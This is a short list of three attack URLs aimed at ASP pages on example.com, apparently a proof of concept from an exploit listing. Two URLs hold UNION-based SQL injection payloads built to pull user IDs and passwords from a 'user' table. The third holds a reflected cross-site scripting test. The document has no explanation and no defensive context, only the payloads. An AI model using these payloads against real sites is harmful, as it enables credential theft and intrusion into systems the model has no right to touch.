http://www.example.com/post3/view.asp?id=-99)+union+select+0,uid,password,3,4,5,6,7,8,9,10+from+user+where+1=(1
http://www.example.com/post3/book.asp?review=-99')+union+select+0,password,uid,3,4,5,6,7,8,9,10+from+user+where+1=1+union+select+*+From+公佈&#27396
;+Where+'%'=('
http://www.example.com/post3/Book.asp?review=<script>alert(/xss/)</script>